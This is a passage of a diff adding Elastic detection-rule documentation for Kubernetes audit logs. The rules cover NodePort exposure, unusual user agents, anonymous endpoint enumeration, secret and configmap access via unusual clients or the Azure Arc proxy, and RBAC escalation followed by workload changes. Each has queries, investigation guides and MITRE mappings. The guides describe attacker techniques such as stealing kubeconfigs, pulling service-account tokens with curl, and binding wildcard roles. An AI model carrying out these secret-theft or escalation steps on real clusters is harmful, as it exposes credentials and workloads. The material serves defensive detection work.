Assess the network security implications by determining if the NodePort service could potentially bypass existing firewalls or security controls, and evaluate the risk of unauthorized access or data interception. +- Verify if the NodePort service is necessary for legitimate business purposes or if it was created without proper justification, indicating potential malicious intent. + + +*False positive analysis* + + +- Routine service updates or deployments may trigger the rule if NodePort services are part of standard operations. To manage this, create exceptions for specific namespaces or service accounts that are known to perform these actions regularly. +- Development or testing environments often use NodePort services for ease of access. Exclude these environments from the rule by filtering based on labels or annotations that identify non-production clusters. +- Automated deployment tools or scripts that configure services as NodePort for legitimate reasons can cause false positives. Identify these tools and add their service accounts to an exception list to prevent unnecessary alerts. +- Internal services that require external access for legitimate business needs might be flagged. Document these services and apply exceptions based on their specific labels or annotations to avoid false alarms. +- Temporary configurations during incident response or troubleshooting might involve NodePort services. Ensure that these activities are logged and approved, and consider temporary exceptions during the incident resolution period. + + +*Response and remediation* + + +- Immediately isolate the affected NodePort service by removing or disabling it to prevent further unauthorized access or traffic interception. +- Review and revoke any unauthorized access or permissions granted to users or service accounts that created or modified the NodePort service. +- Conduct a thorough audit of network traffic logs to identify any suspicious or unauthorized external connections made through the NodePort service. +- Implement network segmentation and firewall rules to restrict external access to critical services and ensure that only necessary ports are exposed. +- Escalate the incident to the security operations team for further investigation and to assess potential impacts on the cluster's security posture. +- Apply security patches and updates to Kubernetes components and worker nodes to mitigate any known vulnerabilities that could be exploited. +- Enhance monitoring and alerting mechanisms to detect future unauthorized NodePort service creations or modifications promptly. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset : "kubernetes.audit_logs" + and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" + and kubernetes.audit.objectRef.resource:"services" + and kubernetes.audit.verb:("create" or "update" or "patch") + and kubernetes.audit.requestObject.spec.type:"NodePort" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..46f3e85f14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-forbidden-request-from-unusual-user-agent.asciidoc @@ -0,0 +1,113 @@ +[[prebuilt-rule-8-19-20-kubernetes-forbidden-request-from-unusual-user-agent]] +=== Kubernetes Forbidden Request from Unusual User Agent + +This rule detects when a forbidden request is made from an unusual user agent in a Kubernetes environment. Adversary tooling may use non-standard or unexpected user agents to interact with the Kubernetes API, which can indicate an attempt to evade detection or blend in with legitimate traffic. In combination with a forbidden request, this behavior can suggest an adversary is attempting to exploit vulnerabilities or misconfigurations in the Kubernetes cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Forbidden Request from Unusual User Agent* + + +Kubernetes, a container orchestration platform, manages applications across clusters. It uses APIs for communication, which can be targeted by adversaries using atypical user agents to mask malicious activities. These agents may attempt unauthorized actions, exploiting vulnerabilities. The detection rule identifies such anomalies by flagging forbidden requests from non-standard user agents, indicating potential threats. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the source IP address and user associated with the forbidden request. This can help determine if the request originated from a known or unknown entity. +- Analyze the user agent string in the audit logs to understand its origin and purpose. Cross-reference it with known legitimate user agents to assess its legitimacy. +- Check for any recent changes or deployments in the Kubernetes environment that might have introduced new user agents or configurations, potentially leading to the forbidden request. +- Investigate the specific resource or API endpoint that was targeted by the forbidden request to understand what the adversary might have been attempting to access or exploit. +- Correlate the event with other security logs and alerts to identify any patterns or additional suspicious activities that might indicate a broader attack or reconnaissance effort. +- Assess the current security posture and configurations of the Kubernetes cluster to identify any vulnerabilities or misconfigurations that could be exploited by adversaries using unusual user agents. + + +*False positive analysis* + + +- Legitimate internal tools or scripts may use non-standard user agents that are not included in the exclusion list. Review and identify these tools, then update the exclusion list to prevent them from being flagged. +- Automated processes or third-party integrations might use unique user agents that trigger the rule. Verify these processes and consider adding their user agents to the exclusion list if they are deemed safe. +- Development or testing environments often use custom user agents for API interactions. Ensure these environments are accounted for by excluding their user agents to avoid unnecessary alerts. +- Regularly review and update the exclusion list to reflect changes in legitimate user agents used within your organization, ensuring that only truly unusual and potentially malicious agents are flagged. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes node or cluster to prevent further unauthorized access or potential lateral movement by the adversary. +- Revoke any suspicious or unauthorized credentials or tokens that may have been used in the forbidden request to ensure they cannot be reused. +- Conduct a thorough review of the Kubernetes audit logs to identify any additional unauthorized or suspicious activities that may have occurred around the time of the alert. +- Patch any identified vulnerabilities or misconfigurations in the Kubernetes environment that may have been exploited, ensuring all components are up to date with the latest security patches. +- Implement stricter access controls and user agent validation to prevent non-standard user agents from interacting with the Kubernetes API unless explicitly allowed. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment or remediation actions are necessary. +- Enhance monitoring and alerting for similar activities by tuning detection systems to recognize patterns associated with this type of threat, ensuring rapid response to future incidents. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"kubernetes.audit_logs" and +kubernetes.audit.stage:"ResponseComplete" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"forbid" and +user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc new file mode 100644 index 0000000000..0fe9fc718b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-20-kubernetes-potential-endpoint-permission-enumeration-attempt-by-anonymous-user-detected]] +=== Kubernetes Potential Endpoint Permission Enumeration Attempt by Anonymous User Detected + +This rule detects potential endpoint enumeration attempts by an anonymous user. An anonymous user is a user that is not authenticated or authorized to access the Kubernetes API server. By looking for a series of failed API requests, on multiple endpoints, and a limited number of documents, this rule can detect automated permission enumeration attempts. This behavior is uncommon for regular Kubernetes clusters. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#unauthenticated-api-access + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Potential Endpoint Permission Enumeration Attempt by Anonymous User Detected* + + +This detects a burst of Kubernetes API requests from an unauthenticated identity that probes many different endpoints and resource types, producing mostly forbidden/unauthorized/not found responses within a small window. It matters because this pattern maps the cluster’s exposed surface and reveals which APIs might be reachable before an attacker commits to credential theft or exploitation. A common usage pattern is scripted GET/LIST sweeps across core and custom resources (for example pods, secrets, namespaces, and CRDs) from one source IP and user agent. + + +*Possible investigation steps* + + +- Review the specific request URIs and resource types queried and their sequence to fingerprint common reconnaissance tooling and whether high-value endpoints (e.g., secrets, tokenreviews, subjectaccessreviews, CRDs) were probed. +- Determine whether the apparent source IP is internal or Internet-routable and confirm the true originating client by correlating load balancer/ingress/firewall logs (including X-Forwarded-For) with the audit event timestamps. +- Validate Kubernetes API server authentication/authorization posture during the window to identify misconfiguration that permits anonymous access and confirm whether any requests returned successful responses that indicate real data exposure. +- Hunt for follow-on activity from the same origin or user agent such as authenticated requests, service account token usage, RBAC/ClusterRoleBinding changes, pod exec, or secret/configmap reads to assess escalation beyond discovery. +- If the API endpoint is publicly reachable, apply immediate containment by restricting network access to the API server (allowlisting, VPN/private endpoint, temporary IP blocks) while preserving relevant audit and network logs for forensics. + + +*False positive analysis* + + +- Misconfigured or transitional API server authentication (e.g., anonymous auth briefly enabled or a failing authn proxy/fronting component) can cause legitimate clients to appear as `system:anonymous` and generate multiple 401/403/404 responses across several endpoints during normal cluster access attempts. +- Internal cluster health checks or component discovery behavior that hits multiple API paths without presenting credentials (or uses requests that the audit log records with empty/null usernames) can resemble enumeration when it produces a short burst of failed requests across diverse resources from a single source IP and user agent. + + +*Response and remediation* + + +- Immediately restrict Kubernetes API server network exposure by allowlisting known admin/VPN IPs and temporarily blocking the observed source IP(s) and user agent at the load balancer/firewall while preserving audit logs and reverse-proxy access logs for the timeframe. +- Eradicate the anonymous access path by disabling anonymous authentication on the API server, fixing any misconfigured auth proxy that forwards unauthenticated traffic, and removing any RBAC bindings that grant permissions to `system:anonymous` or `system:unauthenticated`. +- Validate whether any requests from the same source returned successful responses (especially reads of secrets/configmaps, tokenreviews/subjectaccessreviews, or CRDs) and, if so, rotate impacted service account tokens and credentials and perform a targeted review of recently issued tokens and new ClusterRoleBindings. +- Recover by re-enabling API access in a controlled manner (private endpoint/VPN, bastion, or mTLS), confirming expected kubectl and controller functionality, and monitoring for renewed bursts of failed requests across many request URIs from unauthenticated identities. +- Escalate to the incident response lead and platform security team if any anonymous request succeeded, if the probing repeats from multiple external IPs, or if follow-on activity appears (new privileged RBAC, pod exec, or secret reads) within 24 hours of the enumeration attempt. +- Harden by enforcing least-privilege RBAC, enabling and retaining full audit logging for authn/authz failures, applying API server rate limits/WAF rules for repeated 401/403/404 sweeps, and continuously validating that the API endpoint is not publicly reachable. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-kubernetes.audit_logs-* metadata _id, _index, _version +| where ( + kubernetes.audit.user.username in ("system:anonymous", "system:unauthenticated") or + kubernetes.audit.user.username is null or + kubernetes.audit.user.username == "" + ) and + kubernetes.audit.level in ("RequestResponse", "ResponseComplete", "Request") + +| eval Esql.decision = `kubernetes.audit.annotations.authorization_k8s_io/decision` +| eval Esql.code = kubernetes.audit.responseStatus.code + +| eval Esql.outcome = case( + Esql.decision == "allow", "authz_allow", + Esql.decision == "forbid", "authz_forbid", + + // fallback: infer from status when decision is missing + Esql.code in (401, 403), "authn_authz_failed", + (Esql.code >= 200 and Esql.code < 300), "success", + Esql.code == 404, "not_found", + Esql.code is null, "unknown", + true, "other_error" + ) + +| stats + Esql.document_count = count(), + + Esql.authz_allow_count = sum(case(Esql.outcome == "authz_allow", 1, 0)), + Esql.authz_forbid_count = sum(case(Esql.outcome == "authz_forbid", 1, 0)), + + Esql.status_fail_count = sum(case(Esql.outcome == "authn_authz_failed", 1, 0)), + Esql.success_count = sum(case(Esql.outcome == "success", 1, 0)), + Esql.not_found_count = sum(case(Esql.outcome == "not_found", 1, 0)), + Esql.other_error_count = sum(case(Esql.outcome == "other_error", 1, 0)), + Esql.unknown_count = sum(case(Esql.outcome == "unknown", 1, 0)), + + Esql.kubernetes_audit_verb_count_distinct = count_distinct(kubernetes.audit.verb), + Esql.kubernetes_audit_requestURI_count_distinct = count_distinct(kubernetes.audit.requestURI), + Esql.kubernetes_audit_objectRef_resource_count_distinct = count_distinct(kubernetes.audit.objectRef.resource), + + Esql.kubernetes_audit_outcome_values = values(Esql.outcome), + Esql.kubernetes_audit_decision_values = values(Esql.decision), + Esql.kubernetes_audit_responseStatus_code_values = values(Esql.code), + Esql.kubernetes_audit_responseStatus_message_values = values(kubernetes.audit.responseStatus.message), + + Esql.kubernetes_audit_verb_values = values(kubernetes.audit.verb), + Esql.kubernetes_audit_objectRef_resource_values = values(kubernetes.audit.objectRef.resource), + Esql.kubernetes_audit_objectRef_namespace_values = values(kubernetes.audit.objectRef.namespace), + Esql.kubernetes_audit_user_username_values = values(kubernetes.audit.user.username), + Esql.kubernetes_audit_user_groups_values = values(kubernetes.audit.user.groups), + Esql.kubernetes_audit_requestURI_values = values(kubernetes.audit.requestURI), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + BY kubernetes.audit.sourceIPs, user_agent.original + +| where + Esql.kubernetes_audit_requestURI_count_distinct > 5 and + Esql.kubernetes_audit_objectRef_resource_count_distinct > 3 and + Esql.document_count < 50 and + (Esql.authz_forbid_count >= 1 or Esql.status_fail_count >= 1 or Esql.not_found_count >= 3) + +| keep Esql.*, kubernetes.audit.sourceIPs, user_agent.original + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-secret-access-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-secret-access-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..6465d70ba7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-secret-access-via-unusual-user-agent.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-20-kubernetes-secret-access-via-unusual-user-agent]] +=== Kubernetes Secret Access via Unusual User Agent + +This rule detects when secrets are accessed via an unusual user agent, user name and source IP. Attackers may attempt to access secrets in a Kubernetes cluster to gain access to sensitive information after gaining access to the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Secret Access via Unusual User Agent* + + +This rule flags requests to read or enumerate Kubernetes secrets when they come from an uncommon client profile, account, and network source, which can expose tokens, keys, and passwords that unlock wider cluster or cloud access. A common attacker pattern is to compromise a pod or steal a kubeconfig, then use curl or a custom script from a new host to pull service-account tokens, registry credentials, or application secrets for follow-on movement. + + +*Possible investigation steps* + + +- Determine whether the requesting identity, source IP, and user agent align with a known administrator workstation, CI/CD runner, controller, or approved automation path by validating change records, VPN or proxy logs, and asset ownership. +- Review the exact secret names and namespaces accessed to assess impact, prioritizing service-account tokens, registry credentials, cloud keys, kubeconfigs, and secrets tied to production or highly privileged workloads. +- Compare the event to the identity’s historical Kubernetes activity to confirm whether the client pattern, originating network, targeted namespaces, or access volume are new or unusually broad for that account. +- Correlate nearby cluster and cloud activity from the same identity or source for signs of follow-on actions such as pod exec, token creation, role binding changes, API discovery bursts, or authentication attempts using newly exposed credentials. +- If the access is not clearly authorized, contain by revoking or rotating the exposed secrets and linked credentials, then inspect the originating host or pod and its RBAC permissions for evidence of compromise or misuse. + + +*False positive analysis* + + +- A cluster administrator may legitimately use curl, a browser, or a custom script from a newly assigned workstation or bastion host to inspect a secret during troubleshooting, so verify the activity against approved maintenance records and confirm the source IP and user identity map to that authorized host and user. +- A workload or internal automation can access secrets through a nonstandard Kubernetes API client after a deployment, restart, or credential rotation, so confirm the service account, namespace, and RBAC scope match the application’s expected behavior and correlate the timing with recent operational changes. + + +*Response and remediation* + + +- Isolate the source of the secret access by quarantining the implicated workstation or pod, cordoning the hosting node if needed, and temporarily blocking its network path to the Kubernetes API server and other sensitive services. +- Revoke the attacker’s access by disabling the abused user or service account, deleting exposed or suspicious kubeconfigs, API tokens, CronJobs, DaemonSets, backdoor pods, and any newly created RoleBindings or ClusterRoleBindings tied to the activity. +- Rotate every secret that was read or listed and all downstream credentials it protects, including service-account tokens, registry passwords, cloud IAM keys, database credentials, and application secrets, then restart affected workloads so they load the new values from trusted sources. +- Restore the cluster to a known-good state by redeploying affected workloads from trusted images and manifests, validating namespaces and mounts against approved baselines, and removing any unauthorized containers or helper utilities left behind for persistence. +- Escalate to incident response immediately if the access touched production namespaces, cluster-admin or cloud-linked credentials, multiple namespaces, or was followed by pod exec, token creation, or lateral movement from the same host or account. +- Harden against recurrence by reducing secret-read permissions to only required service accounts, forcing administrative access through approved bastions, enforcing short-lived credentials with regular rotation, and alerting on nonstandard clients or sudden secret enumeration activity. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"kubernetes.audit_logs" and kubernetes.audit.objectRef.resource:"secrets" and +kubernetes.audit.verb:("get" or "list") and user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc new file mode 100644 index 0000000000..10de003855 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-kubernetes-secret-or-configmap-access-via-azure-arc-proxy]] +=== Kubernetes Secret or ConfigMap Access via Azure Arc Proxy + +Detects when secrets or configmaps are accessed, created, modified, or deleted in a Kubernetes cluster by the Azure Arc AAD proxy service account. When operations are routed through the Azure Arc Cluster Connect proxy, the Kubernetes audit log records the acting user as `system:serviceaccount:azure-arc:azure-arc-kube-aad-proxy-sa` with the actual caller identity in the `impersonatedUser` field. This pattern indicates that someone is accessing the cluster through the Azure ARM API rather than directly via kubectl against the API server. While legitimate for Arc-managed workflows, adversaries with stolen service principal credentials can abuse Arc Cluster Connect to read, exfiltrate, or modify secrets and configmaps while appearing as the Arc proxy service account in K8s audit logs. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 9m + +*Searches indices from*: now-5d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://cloud.google.com/blog/topics/threat-intelligence/escalating-privileges-azure-kubernetes-services +* https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-3-from-compromis + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Secret or ConfigMap Access via Azure Arc Proxy* + + +When Kubernetes operations are performed through Azure Arc Cluster Connect, the K8s audit log shows the Arc AAD proxy +service account as the authenticated user, with the actual Azure AD identity in the `impersonatedUser` field. This +rule detects non-system secret and configmap access — including reads, writes, and deletions — routed through this +proxy path. Read operations (`get`, `list`) are particularly important to detect as they represent the most common +adversary action: exfiltrating secrets without leaving obvious modification traces. + + +*Possible investigation steps* + + +- Check the `kubernetes.audit.impersonatedUser.username` field — this contains the Azure AD object ID of the actual + caller. Cross-reference with Azure AD to identify the service principal or user. +- Review the `kubernetes.audit.impersonatedUser.extra.oid` field for the Azure AD object ID. +- Examine the namespace — operations in `default` or application namespaces are more suspicious than `azure-arc` or + `kube-system`. +- Check the `kubernetes.audit.objectRef.name` — look for suspicious secret/configmap names that don't match known + application resources. +- Correlate with Azure Activity Logs for the same time window to find the `LISTCLUSTERUSERCREDENTIAL` operation that + initiated the Arc proxy session. +- Review Azure Sign-In Logs for the impersonated identity's authentication source IP and geolocation. + + +*Response and remediation* + + +- If the impersonated identity is not recognized, revoke its Azure AD credentials immediately. +- Remove the ClusterRoleBinding or RoleBinding that grants the identity access to secrets/configmaps. +- Rotate any Kubernetes secrets that may have been read or exfiltrated. +- Review the Arc connection and consider disconnecting it if compromised. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-kubernetes.audit_logs-* metadata _id, _version, _index +| WHERE STARTS_WITH(kubernetes.audit.user.username, "system:serviceaccount:azure-arc:") + AND kubernetes.audit.objectRef.resource IN ("secrets", "configmaps") + AND kubernetes.audit.verb IN ("get", "list", "create", "update", "patch", "delete") + AND kubernetes.audit.objectRef.namespace NOT IN ("azure-arc", "azure-arc-release", "kube-system") + AND NOT STARTS_WITH(kubernetes.audit.objectRef.name, "sh.helm.release.v1") + +| STATS + Esql.verb_values = VALUES(kubernetes.audit.verb), + Esql.resource_type_values = VALUES(kubernetes.audit.objectRef.resource), + Esql.resource_name_values = VALUES(kubernetes.audit.objectRef.name), + Esql.namespace_values = VALUES(kubernetes.audit.objectRef.namespace), + Esql.acting_user_values = VALUES(kubernetes.audit.user.username), + Esql.user_agent_values = VALUES(kubernetes.audit.userAgent), + Esql.source_ips_values = VALUES(kubernetes.audit.sourceIPs), + Esql.response_code_values = VALUES(kubernetes.audit.responseStatus.code), + Esql.timestamp_first_seen = MIN(@timestamp), + Esql.timestamp_last_seen = MAX(@timestamp), + Esql.event_count = COUNT(*) + BY kubernetes.audit.impersonatedUser.username + +| WHERE Esql.timestamp_first_seen >= NOW() - 9 minutes +| KEEP * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc new file mode 100644 index 0000000000..c04a1ecf94 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-kubernetes-sensitive-rbac-change-followed-by-workload-modification]] +=== Kubernetes Sensitive RBAC Change Followed by Workload Modification + +Detects a sequence where a principal creates or modifies a Role/ClusterRole to include high-risk permissions (e.g., wildcard access or escalation verbs) and then creates or patches a workload resource (DaemonSet, Deployment, or CronJob) shortly after, which may indicate RBAC-based privilege escalation followed by payload deployment. This pattern is often used by adversaries to gain unauthorized access to sensitive resources and deploy malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Sensitive RBAC Change Followed by Workload Modification* + + +This rule detects when a user grants or broadens high-risk permissions in a Role/ClusterRole and then quickly creates or patches a DaemonSet, Deployment, or CronJob, a strong signal of RBAC-driven privilege escalation followed by payload deployment. Attackers often add wildcard access or escalation verbs to a new role, bind it to their identity, then patch a workload to run a malicious container across nodes or on a schedule to establish persistence. + + +*Possible investigation steps* + + +- Review the Role/ClusterRole change diff to identify newly granted wildcard resources/verbs or escalation permissions (e.g., bind, impersonate, escalate) and determine the effective access increase for the actor. +- Identify any RoleBinding/ClusterRoleBinding creations or updates around the same time to see whether the modified role was bound to the same principal or a newly created service account. +- Inspect the subsequent DaemonSet/Deployment/CronJob spec changes for malicious indicators such as new images, added initContainers, elevated securityContext (privileged/hostPID/hostNetwork), hostPath mounts, or suspicious command/args. +- Correlate pod runtime activity from the modified workload (image pulls, container starts, outbound connections, and access to secrets/configmaps) to confirm execution and scope of impact. +- Validate the actor’s legitimacy by checking whether the request originated from expected IP/user-agent and whether the identity is associated with approved CI/CD automation or an unusual interactive session. + + +*False positive analysis* + + +- A platform engineer performing an urgent, legitimate RBAC adjustment (e.g., expanding a Role/ClusterRole for a new feature rollout) and then immediately patching or deploying a DaemonSet/Deployment/CronJob as part of the same change window can match this sequence. +- A CI/CD pipeline or GitOps-style workflow using a non-system:masters identity may update RBAC manifests and then apply workload updates within minutes during routine releases, producing this pattern without malicious intent. + + +*Response and remediation* + + +- Immediately revoke or roll back the risky Role/ClusterRole changes and remove any new/updated RoleBinding/ClusterRoleBinding that ties the elevated permissions to the triggering user or service account. +- Quarantine the modified Deployment/DaemonSet/CronJob by scaling it to zero or deleting it and cordon/drain affected nodes if pods ran privileged, used hostPath mounts, or executed on many nodes. +- Rotate credentials and access paths exposed through the workload (service account tokens, kubeconfig files, mounted secrets, cloud keys) and invalidate any newly issued tokens tied to the actor. +- For eradication and recovery, redeploy workloads from trusted Git/registry sources, block the suspicious images/digests in admission controls, and verify no persistence remains via CronJobs, DaemonSets, webhook configurations, or additional RBAC bindings. +- Escalate to incident response and platform leadership if the RBAC change included wildcard permissions or escalation verbs, if the workload ran 